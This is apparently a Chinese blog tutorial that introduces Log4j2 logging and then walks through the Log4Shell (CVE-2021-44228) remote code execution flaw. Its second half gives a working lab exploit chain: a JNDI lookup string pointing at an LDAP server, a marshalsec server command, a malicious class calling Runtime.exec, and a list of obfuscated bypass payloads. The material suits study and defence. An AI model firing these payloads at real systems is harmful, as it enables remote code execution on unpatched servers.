About Log4j2

Log4j2 是一个日志管理工具,主要用于收集、格式化、存储和分级日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class SimpleLog4j2 {
// 创建 Logger 实例
private static final Logger logger = LogManager.getLogger(SimpleLog4j2.class);

public static void main(String[] args) {
// 记录不同级别的日志
logger.trace("这是 TRACE 级别的日志(最详细)");
logger.debug("这是 DEBUG 级别的日志(用于调试)");
logger.info("这是 INFO 级别的日志(常规运行信息)");
logger.warn("这是 WARN 级别的日志(警告信息)");
logger.error("这是 ERROR 级别的日志(错误信息)");
logger.fatal("这是 FATAL 级别的日志(严重错误)");
}
}

1
2
16:06:47.907 [main] ERROR SimpleLog4j2 - 这是 ERROR 级别的日志(错误信息)
16:06:47.908 [main] FATAL SimpleLog4j2 - 这是 FATAL 级别的日志(严重错误)

📌 日志级别从低到高(优先级)

1
2
3
4
5
pgsql


复制编辑
TRACE < DEBUG < INFO < WARN < ERROR < FATAL

Log4j2 只会输出 ≥ 配置的最低日志级别 的日志。如果你的最低级别是 ERROR,则 INFO、DEBUG 等不会输出

Log4j2漏洞

Log4j2 远程代码执行(RCE)漏洞,又称 Log4Shell(CVE-2021-44228),是 Log4j2 低版本(<= 2.14.1) 存在的一个严重漏洞,利用不当的 JNDI(Java Naming and Directory Interface) 解析机制,攻击者可以 远程执行任意代码。

漏洞原理

请见下面的demo:

1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableApp {
private static final Logger logger = LogManager.getLogger(VulnerableApp.class);

public static void main(String[] args) {
String payload = "${java:os}";
logger.error("日志内容:" + payload);
}
}

image-20250311170640429

这里能看到一些猫腻,payload里头${java:os}似乎被解析了:

${java:os}Log4j2 Lookups 变量,它用于获取当前操作系统的信息

Lookup 类型 示例变量 等价于 作用
${java:os} Windows 10 System.getProperty("os.name") 获取操作系统名称
${java:version} 1.8.0_271 System.getProperty("java.version") 获取 Java 版本
${java:vm} OpenJDK 64-Bit System.getProperty("java.vm.name") 获取 JVM 名称
${java:home} C:\Program Files\Java\jdk1.8.0_271 System.getProperty("java.home") 获取 Java 安装目录
${env:USERNAME} root System.getenv("USERNAME") 获取环境变量(Windows 用户名)
${sys:user.dir} C:\Users\Admin\project System.getProperty("user.dir") 获取当前工作目录
${date:yyyy-MM-dd} 2025-03-11 - 获取当前日期
${jndi:ldap://evil.com/exploit} 远程代码执行 RCE 漏洞 JNDI 远程查询(已禁用)

注意这个${}是基于jndi的,如果可控的话我们可以达成RCE。

漏洞Demo

受害者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2VulnDemo {
private static final Logger logger = LogManager.getLogger(Log4j2VulnDemo.class);

public static void main(String[] args) {
// 模拟用户输入的恶意字符串
String userInput = "${jndi:ldap://127.0.0.1:1389/Exploit}";

// 记录日志(触发漏洞)
logger.error("User input: " + userInput);
}
}

使用Marshalsec搭建恶意LDAP服务器:

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_IP:8000/#恶意类名"

编写恶意类并编译成class:

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

在恶意class字节码目录开启Python的http服务:

1
python -m http.server

启动代码:

image-20250311212322085

常规绕过

绕过jndi:

对于一个Lookups变量:${},如果参数未定义,那么:-后面跟着的即为默认值。利用这一点:

1
${${::-J}ndi:ldap://127.0.0.1:1389/Exploit

利用lower与upper字段进行绕过:

1
2
${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}
${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}

经过测试:payload中的jndi对大小写不敏感

特殊字符:ıſ

image-20250311213107968

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

JSON

1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

Payload

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";